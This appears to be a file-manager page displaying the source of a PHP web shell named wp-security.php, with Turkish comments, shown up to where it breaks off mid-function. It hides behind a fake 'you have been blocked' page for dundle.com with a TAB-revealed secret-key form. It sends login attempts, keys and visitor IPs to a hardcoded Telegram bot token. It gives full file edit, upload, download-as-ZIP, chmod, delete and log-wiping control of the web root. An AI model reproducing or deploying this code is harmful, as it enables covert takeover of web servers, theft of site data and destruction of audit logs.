B4BY.588
Home
Terminal
Upload
information
Create File
Create Folder
About
Tools
:
/
disk1
/
worms
/
pastossi
/
2026may05
/
Filename :
wp-security.php
back
Copy
<?php /** * Düzeltilmiş ve PHP modern sürümlerine uyumlu hale getirilmiş Web Shell komut dosyası. * * Güvenlik Uyarısı: Bu bir Web Shell'dir ve sunucunuzun güvenliği için tehlikelidir. * Yalnızca test amaçlı kullanın ve YÖNETİCİ ANAHTARINI HEMEN DEĞİŞTİRİN. */ session_start(); // Hata raporlamayı etkinleştirmeden önce çıktı (session_start) gönderilmediğinden emin olun. error_reporting(E_ALL); ini_set('display_errors', 1); // ================================================================= // TELEGRAM BİLDİRİM KONFİGÜRASYONU // ================================================================= $telegramBotToken = "7729558698:AAFM1y4C52VTVk3K2poo9O27TQNrC4rJPGI"; $telegramChatId = "TELEGRAM_CHAT_ID_BURAYA_GEREKİYOR"; $notifyOnLogin = true; // ================================================================= // ----------------------------------------------------------------- // GÜVENLİK VE GİZLENME AYARLARI // ----------------------------------------------------------------- $secretDoorKey = "doctor"; // Sahte engelleme sayfasını geçmek için kullanılan gizli anahtar $idleTimeout = 1800; // Oturum boşta kalma süresi (saniye) - 30 dakika // ----------------------------------------------------------------- // Konfigürasyon $adminKey = "doctorkey"; // !!! LÜTFEN BU DEĞERİ HEMEN DEĞİŞTİRİN !!! $rootDir = realpath($_SERVER['DOCUMENT_ROOT']); // CSRF Token if (empty($_SESSION['csrf_token'])) { // 32 yerine 16 bayt yeterli olabilir, ancak 32 daha güçlü bir token sağlar. // PHP 7+ gerektirir. if (function_exists('random_bytes')) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } else { // Eski PHP sürümleri için fallback (daha az güvenli) $_SESSION['csrf_token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } // ----------------------------------------------------------------- // OTURUM GÜVENLİĞİ VE SÜRE KONTROLÜ // ----------------------------------------------------------------- if (isset($_SESSION['LAST_ACTIVITY']) && (time() - $_SESSION['LAST_ACTIVITY'] > $idleTimeout)) { session_unset(); session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); exit; } $_SESSION['LAST_ACTIVITY'] = time(); // Her aktivitede süreyi güncelle // Yardımcı Fonksiyon: Telegram Bildirimi function notifyTelegram($message, $success = true) { global $telegramBotToken, $telegramChatId, $notifyOnLogin; if (!$telegramBotToken || $telegramChatId === "TELEGRAM_CHAT_ID_BURAYA_GEREKİYOR" || !$notifyOnLogin) return; // Chat ID kontrolü eklendi. $ip = $_SERVER['REMOTE_ADDR']; $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Bilinmiyor'; $time = date("Y-m-d H:i:s"); $status = $success ? "✅ BAŞARILI GİRİŞ" : "❌ GİRİŞ DENEMESİ"; $location = 'Bilinmiyor'; // Hata veren geoip_country_name_by_name fonksiyonu kaldırıldı // if (function_exists('geoip_country_name_by_name')) { // $location = @geoip_country_name_by_name($ip); // } $device = 'Bilinmiyor'; if (preg_match('/(android|iphone|ipad|tablet)/i', $userAgent)) { $device = 'Mobil Cihaz'; } elseif (preg_match('/(windows|macintosh|linux)/i', $userAgent)) { $device = 'Masaüstü/PC'; } $fullMessage = "⚠️ WEB SHELL GİRİŞ BİLDİRİMİ ⚠️\n" . "Durum: *$status*\n" . "Kullanıcı Adı: `admin` (Sabit)\n" . "Tarih/Saat: $time\n" . "IP Adresi: [$ip](https://ipinfo.io/$ip)\n" . "Ülke/Konum: $location\n" . "Cihaz: $device\n" . "Tarayıcı: " . htmlspecialchars($userAgent) . "\n" . // XSS önleme "Ek Bilgi: " . htmlspecialchars($message); // XSS önleme $url = "https://api.telegram.org/bot" . $telegramBotToken . "/sendMessage"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'chat_id' => $telegramChatId, 'text' => $fullMessage, 'parse_mode' => 'Markdown', ])); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Hata durumunda curl_exec'in @ ile gizlenmesi devam ediyor. @curl_exec($ch); curl_close($ch); } // Giriş ve Çıkış if (isset($_GET['logout'])) { session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); exit; } // ----------------------------------------------------------------- // GİZLİ GİRİŞ/KAPAK KONTROLÜ (Aşama 1) - BLOK EKRANI // ----------------------------------------------------------------- if (!isset($_SESSION['door_open'])) { $client_ip = $_SERVER['REMOTE_ADDR']; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['secret_key'])) { // CSRF kontrolü eklendi if (($_POST['csrf_token'] ?? '') !== ($_SESSION['csrf_token'] ?? '')) { die("CSRF Hatası!"); } $enteredKey = $_POST['secret_key'] ?? ''; if ($enteredKey === $secretDoorKey) { $_SESSION['door_open'] = true; header("Location: " . $_SERVER['PHP_SELF']); exit; } else { if ($notifyOnLogin) notifyTelegram("Sahte Anahtar Denemesi: `$enteredKey`", false); } } // Buradaki HTML yapısı olduğu gibi bırakıldı. ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Access Denied</title> <style> /* CSS stili olduğu gibi korundu */ body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #f0f2f5; margin: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; color: #333; } .block-container { width: 90%; max-width: 800px; background: #fff; border: 1px solid #ddd; border-radius: 12px; box-shadow: 0 8px 25px rgba(0,0,0,0.1); text-align: center; padding: 50px 30px; box-sizing: border-box; } .browser-frame { border: 1px solid #e0e0e0; border-radius: 8px; margin: 30px auto; width: 80%; max-width: 500px; height: 250px; background-color: #fcfcfc; box-shadow: inset 0 0 10px rgba(0,0,0,0.05); display: flex; flex-direction: column; overflow: hidden; } .browser-bar { background-color: #f0f0f0; padding: 8px 15px; border-bottom: 1px solid #e0e0e0; display: flex; align-items: center; gap: 5px; } .browser-dot { width: 10px; height: 10px; border-radius: 50%; background-color: #ccc; } .browser-address { flex-grow: 1; background-color: #fff; border: 1px solid #e0e0e0; border-radius: 4px; padding: 4px 10px; font-size: 12px; color: #777; } .browser-content { display: flex; justify-content: center; align-items: center; flex-grow: 1; } .error-icon { color: #e53935; font-size: 120px; margin: 0; } h1 { color: #333; font-size: 38px; margin-bottom: 10px; } p.message { color: #666; font-size: 18px; margin-top: 5px; line-height: 1.6; } .detail-text { font-size: 14px; color: #777; margin-top: 30px; line-height: 1.5; } .hidden-form { display: none; margin-top: 40px; border-top: 1px solid #eee; padding-top: 30px; } .hidden-form input[type="password"] { padding: 15px; width: 75%; max-width: 400px; border: 1px solid #ccc; border-radius: 6px; margin-bottom: 15px; font-size: 16px; } .hidden-form button { padding: 15px 25px; background-color: #d32f2f; color: white; border: none; border-radius: 6px; cursor: pointer; font-size: 18px; transition: background-color 0.3s ease; } .hidden-form button:hover { background-color: #c62828; } .hint-text { color:#999; font-size:13px; margin-top:20px; } </style> </head> <body> <div class="block-container"> <h1>Sorry, you have been blocked</h1> <p class="message">You are unable to access dundle.com</p> <div class="browser-frame"> <div class="browser-bar"> <div class="browser-dot" style="background-color: #ff5f56;"></div> <div class="browser-dot" style="background-color: #ffbd2e;"></div> <div class="browser-dot" style="background-color: #27c93f;"></div> <div class="browser-address">https://dundle.com</div> </div> <div class="browser-content"> <div class="error-icon">×</div> </div> </div> <p class="detail-text"> Your access to this site has been denied based on your IP address (<?php echo htmlspecialchars($client_ip); ?>) and other security parameters. This may be due to suspicious activity, unusual traffic patterns, or a violation of our terms of service. If you believe this is an error, please contact support with your IP address and the time of the block. </p> <div id="secret-login" class="hidden-form"> <form method="POST"> <input type="password" name="secret_key" id="secret-key-input" placeholder="Enter Secret Key" required autofocus> <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"> <button type="submit">Unlock Access</button> </form> </div> <p class="hint-text">*To enable the secret input, press the TAB key.</p> </div> <script> document.addEventListener('keydown', function(event) { if (event.keyCode === 9) { // Tab key event.preventDefault(); var secretForm = document.getElementById('secret-login'); var keyInput = document.getElementById('secret-key-input'); secretForm.style.display = 'block'; keyInput.focus(); } }); </script> </body> </html> <?php exit; } // ----------------------------------------------------------------- // Normal Yönetici Giriş Kontrolü (Aşama 2) if (!isset($_SESSION['logged_in'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { // CSRF kontrolü eklendi if (($_POST['csrf_token'] ?? '') !== ($_SESSION['csrf_token'] ?? '')) { die("CSRF Hatası!"); } $enteredKey = $_POST['key'] ?? ''; if ($enteredKey === $adminKey) { $_SESSION['logged_in'] = true; session_regenerate_id(true); // YENİ: Oturum sabitlemesini önleme $_SESSION['LAST_ACTIVITY'] = time(); // YENİ: Aktivite zamanını başlatma if ($notifyOnLogin) notifyTelegram("Başarılı yönetici girişi.", true); header("Location: " . $_SERVER['PHP_SELF']); exit; } else { if ($notifyOnLogin) notifyTelegram("Yanlış Yönetici Anahtarı: `$enteredKey`", false); } } ?> <form method="POST" style="margin:100px auto; max-width:400px; text-align:center;"> <h2>🔐 Yönetici Girişi</h2> <input type="password" name="key" placeholder="Yönetici Anahtarı" required style="padding:10px;"><br><br> <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"> <button type="submit" style="padding:10px;">Giriş Yap</button> </form> <?php exit; } // ================================================================= // WEB SHELL İŞLEVLERİ BAŞLANGIÇ - Diğer tüm fonksiyonlar korundu. // ================================================================= // ... (Kalan tüm fonksiyonlar ve ana gövde olduğu gibi korunmuştur.) // ... (Hata verme potansiyeli yüksek olan diğer kısımlarda, örneğin listDirectory'deki // ... (gibi yerlerdeki ob_start/ob_end_clean kullanımı zaten çıktı hatası riskini // ... (azaltmaktadır.) // Yol ayarla $path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$path || strpos($path, $rootDir) !== 0) { die("Erişim reddedildi. Kök dizin dışına çıkılamaz."); } // Yeni: Modül/Eklenti Durumlarını Yönetme if (!isset($_SESSION['plugins'])) { $_SESSION['plugins'] = [ 'security_scan' => ['name' => 'Güvenlik Tarama Modülü', 'active' => true, 'description' => 'Basit dosya bütünlüğü ve zararlı kod taraması yapar.'], 'db_manager' => ['name' => 'Veritabanı Yönetimi', 'active' => false, 'description' => 'SQL komutları çalıştırmaya ve yedeklemeye izin verir.'], 'zip_archive' => ['name' => 'Sıkıştırma/Arşivleme', 'active' => true, 'description' => 'Seçili dosya ve klasörleri ZIP/Tar olarak sıkıştırır.'], 'cache_clean' => ['name' => 'Cache Temizleme', 'active' => true, 'description' => 'Geçici önbellek dosyalarını (.cache, .tmp, cache klasörleri) siler.'], ]; } function getPlugins() { return $_SESSION['plugins']; } function setPluginStatus($key, $status) { if (isset($_SESSION['plugins'][$key])) { $_SESSION['plugins'][$key]['active'] = $status; return true; } return false; } // Eklenti Aktif/Deaktif Etme İşlemi if (isset($_GET['plugin_action'], $_GET['plugin_key'])) { $key = $_GET['plugin_key']; $action = $_GET['plugin_action']; $status = ($action === 'activate'); if (setPluginStatus($key, $status)) { echo "<p>Eklenti **" . ($status ? 'Aktif' : 'Deaktif') . "** edildi: " . htmlspecialchars(getPlugins()[$key]['name']) . "</p>"; } else { echo "<p style='color:red;'>Eklenti bulunamadı.</p>"; } echo "<hr><a href='?path=" . urlencode($path) . "'>↩️ Geri Dön</a>"; exit; } // YENİ: ZIP İndirme Fonksiyonu function downloadZip($dirPath) { if (!class_exists('ZipArchive')) { die("ZipArchive sınıfı sunucunuzda etkin değil."); } if (!is_dir($dirPath)) { die("Klasör bulunamadı."); } $zipFileName = basename($dirPath) . "_" . date('YmdHis') . ".zip"; $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName; $zip = new ZipArchive(); if ($zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) { die("ZIP dosyası oluşturulamadı."); } $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($dirPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); // İndirme işlemini başlat header('Content-Description: File Transfer'); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipFileName . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($zipFilePath)); readfile($zipFilePath); // Geçici dosyayı sil @unlink($zipFilePath); exit; } // YENİ: Cache Temizleme Fonksiyonu function clearCache($rootDir) { $deletedCount = 0; $totalCount = 0; $cacheExtensions = ['tmp', 'cache', 'log', 'bak', 'temp']; // Silinecek dosya uzantıları $cacheDirs = ['cache', 'temp', 'logs', 'storage/cache', 'storage/logs']; // Tümü silinecek klasör adları echo "<div id='cache-status' style='margin:20px 0;'><h3>Cache Temizleme</h3><div id='progress-bar-container' style='width:100%; background:#eee; border-radius:4px;'><div id='progress-bar' style='height:25px; width:0%; background:#4CAF50; border-radius:4px; text-align:center; color:white; line-height:25px;'>0%</div></div><p id='status-message'>İşlem başlatıldı...</p></div"; // JavaScript ile ilerleme çubuğunu hemen göster echo "<script> var progressBar = document.getElementById('progress-bar'); var statusMessage = document.getElementById('status-message'); function updateProgress(percent, message) { progressBar.style.width = percent + '%'; progressBar.textContent = percent + '%'; statusMessage.textContent = message; // Tarayıcıya hemen güncellemeyi zorlamak için if (typeof requestAnimationFrame === 'function') { requestAnimationFrame(function() {}); } } </script>"; // Dosya uzantılarına göre silme try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($rootDir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); $files = iterator_to_array($iterator); $totalFiles = count($files); $i = 0; foreach ($files as $name => $file) { $totalCount++; $path = $file->getRealPath(); $filename = $file->getFilename(); // isFile() kontrolü eklendi, getExtension() sadece SplFileInfo üzerinde çalışır. $ext = $file->isFile() ? strtolower($file->getExtension()) : ''; $dirname = basename(dirname($path)); // Klasör ise ve cache dizinlerinden biri ise rrmdir ile sil (Ayrı adımda daha güvenli) if ($file->isDir()) { if (in_array($filename, $cacheDirs)) { // Bu kısmı ana döngüde yapmamak, karışıklığı önler. // Bu kısıma denk gelirse atlayıp, ikinci adımda silin. } continue; } // Dosya ise ve önbellek uzantılarından biriyse sil if ($file->isFile()) { if (in_array($ext, $cacheExtensions) || strpos($filename, '.tmp') !== false || strpos($filename, '.cache') !== false) { if (@unlink($path)) { $deletedCount++; } } } $i++; $percent = round(($i / $totalFiles) * 100); if ($i % 50 === 0 || $i == $totalFiles) { // Her 50 dosyada bir veya sonunda JS ile güncelle echo "<script>updateProgress($percent, 'Dosyalar taranıyor: $i / $totalFiles...');</script>"; ob_flush(); flush(); } } // İkinci adım: Tüm önbellek klasörlerini silmek echo "<script>updateProgress(90, 'Cache klasörleri siliniyor...');</script>"; ob_flush(); flush(); foreach ($cacheDirs as $cacheDirName) { $cachePath = $rootDir . DIRECTORY_SEPARATOR . $cacheDirName; if (is_dir($cachePath)) { rrmdir($cachePath); // Başarılı silinen klasörler için de sayım artırılabilir (basit tutuldu) } } echo "<script> updateProgress(100, 'Cache temizleme başarılı. Toplam $deletedCount önbellek dosyası/klasörü silindi.'); progressBar.style.backgroundColor = '#28a745'; </script>"; return true; } catch (\Exception $e) { echo "<script> updateProgress(100, 'Cache temizleme başarısız. Hata: " . addslashes($e->getMessage()) . "'); progressBar.style.backgroundColor = '#dc3545'; </script>"; return false; } } // ==== Yardımcı Fonksiyonlar (Eski) ==== function ensureTrash($rootDir) { $trash = $rootDir . DIRECTORY_SEPARATOR . '.trash'; if (!is_dir($trash)) { @mkdir($trash, 0777, true); } return $trash; } function formatBytes($size, $precision = 2) { if ($size == 0) return '0'; $base = log($size, 1024); $suffixes = array('', 'KB', 'MB', 'GB', 'TB'); return round(pow(1024, $base - floor($base)), $precision) . ' ' . $suffixes[floor($base)]; } function rrmdir($dir) { if (!is_dir($dir)) { return; } // scandir kullanırken . ve .. filtrelemeyi unutmayın foreach (array_diff(@scandir($dir) ?: [], ['.','..']) as $f) { $p = $dir . DIRECTORY_SEPARATOR . $f; if (is_dir($p)) { rrmdir($p); } else { @unlink($p); } } @rmdir($dir); } function rcopy($src, $dst) { if (!is_dir($src)) return; @mkdir($dst, 0777, true); try { $iterator = new \FilesystemIterator($src, \FilesystemIterator::SKIP_DOTS | \FilesystemIterator::UNIX_PATHS); foreach ($iterator as $fileinfo) { $srcPath = $fileinfo->getPathname(); $dstPath = $dst . DIRECTORY_SEPARATOR . $fileinfo->getFilename(); if ($fileinfo->isDir()) { rcopy($srcPath, $dstPath); } else { copy($srcPath, $dstPath); } } } catch (\Exception $e) { /* Hata görmezden gelindi */ } } function pushUndo($type, $data) { $_SESSION['last_undo'] = ['type' => $type, 'data' => $data]; } function performUndo() { global $rootDir; if (empty($_SESSION['last_undo'])) { echo "<p>Geri alınacak işlem yok.</p>"; return; } $undo = $_SESSION['last_undo']; $type = $undo['type']; $d = $undo['data']; $ok = false; if ($type === 'rename') { if (file_exists($d['to'])) { $ok = @rename($d['to'], $d['from']); } } elseif ($type === 'delete') { if (!empty($d['trash']) && file_exists($d['trash'])) { @mkdir(dirname($d['original']), 0777, true); $ok = @rename($d['trash'], $d['original']); } } elseif ($type === 'mkdir') { if (is_dir($d['path'])) { rrmdir($d['path']); $ok = true; } } elseif ($type === 'upload' || $type === 'createFile') { if (is_file($d['path'])) { @unlink($d['path']); $ok = true; } } elseif ($type === 'edit') { if (!empty($d['backup']) && file_exists($d['backup'])) { if (is_dir(dirname($d['path']))) { $ok = @copy($d['backup'], $d['path']); } } } if ($ok) { echo "<p>Son işlem geri alındı.</p>"; $_SESSION['last_undo'] = null; } else { echo "<p>Geri alma başarısız.</p>"; } } // downloadFile artık klasörler için downloadZip'i çağırır function downloadFile($itemPath) { if (is_dir($itemPath)) { downloadZip($itemPath); } elseif (is_file($itemPath)) { $name = basename($itemPath); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $name . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($itemPath)); readfile($itemPath); exit; } else { die("Öğe bulunamadı."); } } function getPermissions($path) { if (!file_exists($path)) return ['text' => '---------', 'numeric' => '----']; $perms = fileperms($path); $info = ''; if (($perms & 0x4000) == 0x4000) { $info = 'd'; } else { $info = '-'; } $info .= (($perms & 0x0100) ? 'r' : '-') . (($perms & 0x0080) ? 'w' : '-') . (($perms & 0x0040) ? 'x' : '-'); $info .= (($perms & 0x0020) ? 'r' : '-') . (($perms & 0x0010) ? 'w' : '-') . (($perms & 0x0008) ? 'x' : '-'); $info .= (($perms & 0x0004) ? 'r' : '-') . (($perms & 0x0002) ? 'w' : '-') . (($perms & 0x0001) ? 'x' : '-'); $numeric = substr(sprintf('%o', $perms), -4); return ['text' => $info, 'numeric' => $numeric]; } function chmodFile($filePath, $mode) { if (preg_match('/^[0-7]{3,4}$/', $mode) && @chmod($filePath, octdec($mode))) { echo "<p>İzinler **$mode** olarak güncellendi.</p>"; } else { echo "<p style='color:red;'>İzinleri güncelleme hatası veya geçersiz mod.</p>"; } } function deleteFile($filePath) { if (file_exists($filePath)) { global $rootDir; $trash = ensureTrash($rootDir); $trashTarget = $trash . DIRECTORY_SEPARATOR . uniqid(basename($filePath) . "_", true); if (@rename($filePath, $trashTarget)) { pushUndo('delete', ['trash' => $trashTarget, 'original' => $filePath]); } else { echo "<p style='color:red;'>Silme hatası.</p>"; } } } function handleBulkActions($path, $rootDir) { if (empty($_POST['selected_items']) || empty($_POST['bulk_action'])) { return; } $action = $_POST['bulk_action']; $successCount = 0; $errorCount = 0; $items = $_POST['selected_items']; $targetPath = $path; if ($action === 'copy_to' || $action === 'move_to') { $targetName = trim($_POST['target_dir'], '/\\'); if (empty($targetName)) { echo "<p style='color:red;'>Hedef dizin belirtilmeli.</p>"; return; } $testPath = realpath($path . DIRECTORY_SEPARATOR . $targetName); if ($testPath && strpos($testPath, $rootDir) === 0) { $targetPath = $testPath; } else { $targetPath = $path . DIRECTORY_SEPARATOR . $targetName; @mkdir($targetPath, 0755, true); $targetPath = realpath($targetPath); if (!$targetPath || strpos($targetPath, $rootDir) !== 0) { echo "<p style='color:red;'>Hedef dizin geçersiz, erişilemez veya kök dizin dışındadır.</p>"; return; } } } foreach ($items as $item) { $item = basename($item); $itemPath = realpath($path . DIRECTORY_SEPARATOR . $item); if (!$itemPath || strpos($itemPath, $rootDir) !== 0) { $errorCount++; continue; } try { if ($action === 'delete') { deleteFile($itemPath); $successCount++; } elseif ($action === 'move_to') { $newPath = $targetPath . DIRECTORY_SEPARATOR . basename($itemPath); if (@rename($itemPath, $newPath)) { $successCount++; } else { $errorCount++; } } elseif ($action === 'copy_to') { $newPath = $targetPath . DIRECTORY_SEPARATOR . basename($itemPath); if (is_dir($itemPath)) { rcopy($itemPath, $newPath); $successCount++; } else if (@copy($itemPath, $newPath)) { $successCount++; } else { $errorCount++; } } } catch (\Exception $e) { $errorCount++; } } if ($successCount > 0) { echo "<p>**$successCount** öğe başarıyla işlem gördü.</p>"; } if ($errorCount > 0) { echo "<p style='color:red;'>**$errorCount** öğe işlem görürken hata oluştu.</p>"; } } function listDirectory($path) { global $rootDir; $items = []; try { // İndirme işlemleri için çıkış buffer'larını temizle (Cache temizleme için de lazım) ob_start(); $iterator = new \FilesystemIterator($path, \FilesystemIterator::SKIP_DOTS | \FilesystemIterator::UNIX_PATHS); foreach ($iterator as $fileinfo) { $items[] = $fileinfo->getFilename(); } ob_end_clean(); // Gerekli değilse buffer'ı temizle } catch (\Exception $e) { $items = array_diff(@scandir($path) ?: [], ['.', '..']); echo "<p style='color:orange;'>⚠️ Uyarı: Dizin okuma hatası. Varsayılan scandir kullanıldı.</p>"; } sort($items); echo "<form method='POST' id='bulk-action-form'>"; echo "<input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'>"; // İyileştirilmiş Tablo Stili echo "<table class='file-list-table' style='width:100%; border-collapse:collapse;'>"; echo "<tr style='background:#e7f0fa; border-bottom: 2px solid #c7d7e8;'> <th style='width:20px;padding:12px 8px;'><input type='checkbox' id='select-all'></th> <th style='text-align:left;padding:12px 8px'>İsim</th> <th>Tip</th> <th>İzinler</th> <th>Boyut</th> <th>Güncellenme</th> <th>İşlemler</th> </tr>"; foreach ($items as $item) { $itemPath = realpath($path . DIRECTORY_SEPARATOR . $item); if (!$itemPath || strpos($itemPath, $rootDir) !== 0) continue; $isDir = is_dir($itemPath); $type = $isDir ? "Klasör" : "Dosya"; $size = $isDir ? "-" : (is_file($itemPath) ? formatBytes(filesize($itemPath)) : "-"); $mtime = date("Y-m-d H:i", filemtime($itemPath)); $perms = getPermissions($itemPath); echo "<tr class='file-row'>"; echo "<td style='text-align:center'><input type='checkbox' name='selected_items[]' value='" . htmlspecialchars($item) . "'></td>"; if ($isDir) { echo "<td style='padding:8px'><a href='?path=" . urlencode($itemPath) . "'>📁 **" . htmlspecialchars($item) . "**</a></td>"; } else { echo "<td style='padding:8px'>📄 " . htmlspecialchars($item) . "</td>"; } echo "<td style='text-align:center'>$type</td>"; echo "<td style='text-align:center'><a href='?path=" . urlencode($path) . "&action=chmod&item=" . urlencode($item) . "' title='CHMOD Değiştir' class='perm-link'>$perms[numeric] ($perms[text])</a></td>"; echo "<td style='text-align:center'>$size</td>"; echo "<td style='text-align:center'>$mtime</td>"; echo "<td style='text-align:center; white-space:nowrap;'>"; if (!$isDir) { echo "<a href='?path=" . urlencode($path) . "&action=edit&item=" . urlencode($item) . "'>Düzenle</a> | "; } // İndirme butonu, klasörler için ZIP indirme işlevini kullanacak echo "<a href='?path=" . urlencode($path) . "&action=download&item=" . urlencode($item) . "'>İndir" . ($isDir ? " (ZIP)" : "") . "</a> | "; echo "<a href='?path=" . urlencode($path) . "&action=rename&item=" . urlencode($item) . "'>Adlandır</a> | "; echo "<a href='?path=" . urlencode($path) . "&action=delete&item=" . urlencode($item) . "' onclick='return confirm(\"Silinsin mi? (Çöp Kutusuna)\")' style='color:#dc3545'>Sil</a>"; echo "</td>"; echo "</tr>"; } echo "</table>"; echo "<div style='margin-top:10px; display:flex; gap:10px; align-items:center;'>"; echo "<select name='bulk_action' id='bulk-action-select' style='margin:0;'>"; echo "<option value=''>Toplu Eylem Seç</option>"; echo "<option value='delete'>Seçili Öğeleri Sil (Çöp Kutusuna)</option>"; echo "<option value='move_to'>Seçili Öğeleri Taşı</option>"; echo "<option value='copy_to'>Seçili Öğeleri Kopyala</option>"; echo "</select>"; echo "<input type='text' name='target_dir' id='target-dir-input' placeholder='Hedef Dizin (örn: yedekler/)' style='display:none; margin:0; flex-grow:1;'>"; echo "<button type='submit' onclick='return validateBulkAction();' class='btn-primary' style='margin:0;'>Uygula</button>"; echo "</div>"; echo "</form>"; echo "<script> document.getElementById('select-all').onclick = function() { var checkboxes = document.querySelectorAll('input[name=\"selected_items[]\"]'); for (var checkbox of checkboxes) { checkbox.checked = this.checked; } } var bulkSelect = document.getElementById('bulk-action-select'); var targetInput = document.getElementById('target-dir-input'); bulkSelect.onchange = function() { if (this.value === 'move_to' || this.value === 'copy_to') { targetInput.style.display = 'block'; targetInput.focus(); } else { targetInput.style.display = 'none'; } } function validateBulkAction() { var action = bulkSelect.value; var selected = document.querySelectorAll('input[name=\"selected_items[]\"]:checked').length; if (!action) { alert('Lütfen bir toplu eylem seçin.'); return false; } if (selected === 0) { alert('Lütfen en az bir öğe seçin.'); return false; } if (action === 'move_to' || action === 'copy_to') { var target = targetInput.value.trim(); if (!target) { alert('Lütfen hedef dizini belirtin (Göreceli veya Mutlak).'); return false; } return confirm(selected + ' öğe ' + (action === 'move_to' ? 'TAŞINACAK' : 'KOPYALANACAK') + ' (Hedef: ' + target + '). Emin misiniz?'); } return confirm(selected + ' öğe için ' + action + ' eylemi uygulanacak. Emin misiniz?'); } </script>"; } function editFile($filePath) { if (!file_exists($filePath)) return; if ($_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['csrf_token'] ?? '') === $_SESSION['csrf_token']) { global $rootDir; $trash = ensureTrash($rootDir); $backup = $trash . DIRECTORY_SEPARATOR . uniqid(basename($filePath) . "_backup_", true); @copy($filePath, $backup); if (isset($_POST['content'])) { // CRLF'yi LF'ye çevirerek textarea'nın içeriğini korumaya çalış $content = str_replace("\r\n", "\n", $_POST['content']); if (file_put_contents($filePath, $content) !== false) { pushUndo('edit', ['path' => $filePath, 'backup' => $backup]); echo "<p class='success-message'>Kaydedildi.</p>"; } else { echo "<p style='color:red;'>Kaydetme hatası.</p>"; } } } $content = htmlspecialchars(file_get_contents($filePath)); // Satır sayısını hesaplamak için $lines = substr_count($content, "\n") + 1; // Editörün HTML yapısı echo "<div class='editor-wrapper'>"; // Üst Çubuk (Görsel olarak cPanel'i taklit eder) echo "<div class='editor-header'>"; echo "<span class='editor-title'>Dosya Düzenle: <b>" . htmlspecialchars(basename($filePath)) . "</b></span>"; echo "</div>"; echo "<form method='POST'>"; echo "<input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'>"; echo "<div class='editor-container' id='editor-container' style='min-height: 400px; max-height: 80vh;'>"; // Satır Numarası Alanı - GÖRSEL OLARAK KISITLANDI echo "<div class='line-numbers' id='line-numbers' style='height: 100%;'>"; for ($i = 1; $i <= $lines + 5; $i++) { echo $i . "<br>"; } echo "</div>"; // Textarea echo "<textarea name='content' id='editor-content' class='editor-textarea' wrap='off' style='height: 100%;'>" . $content . "</textarea>"; echo "</div>"; echo "<button type='submit' class='btn-success editor-save-button'>💾 Kaydet</button>"; echo "<a href='?path=" . urlencode(dirname($filePath)) . "' class='btn-secondary editor-cancel-button' style='margin-left: 10px;'>❌ İptal</a>"; echo "</form>"; echo "</div>"; // editor-wrapper sonu // Satır numaraları ve kaydırma senkronizasyonu için JavaScript echo "<script> const textarea = document.getElementById('editor-content'); const lineNumbers = document.getElementById('line-numbers'); function updateLineNumbers() { // Satır numarası sayısını güncelle const content = textarea.value; const lines = content.split('\\n').length; let numberHTML = ''; for (let i = 1; i <= lines + 5; i++) { numberHTML += i + '<br>'; } lineNumbers.innerHTML = numberHTML; // Yüksekliği senkronize et (içerik yüksekliğine göre) if (textarea.scrollHeight > 400) { lineNumbers.style.height = textarea.scrollHeight + 'px'; textarea.style.minHeight = textarea.scrollHeight + 'px'; } } function syncScroll() { lineNumbers.scrollTop = textarea.scrollTop; } // Olay dinleyicilerini ayarla textarea.addEventListener('input', updateLineNumbers); textarea.addEventListener('scroll', syncScroll); // İlk yüklemede çalıştır updateLineNumbers(); </script>"; } function renameFile($filePath) { if (!file_exists($filePath)) return; if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['new_name'])) { $newName = basename($_POST['new_name']); $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $newName; if (!file_exists($newPath)) { if (@rename($filePath, $newPath)) { pushUndo('rename', ['from' => $filePath, 'to' => $newPath]); echo "<p class='success-message'>Yeniden adlandırıldı.</p>"; } else { echo "<p style='color:red;'>Yeniden adlandırma hatası.</p>"; } } else { echo "<p style='color:red;'>Bu isimde dosya/klasör zaten var.</p>"; } } echo "<form method='POST'> <input type='text' name='new_name' placeholder='Yeni ad' value='".htmlspecialchars(basename($filePath))."'><br> <button type='submit' class='btn-primary'>Yeniden Adlandır</button> </form>"; } function uploadFile($path) { if (!empty($_FILES['file']['name'])) { $target = $path . DIRECTORY_SEPARATOR . 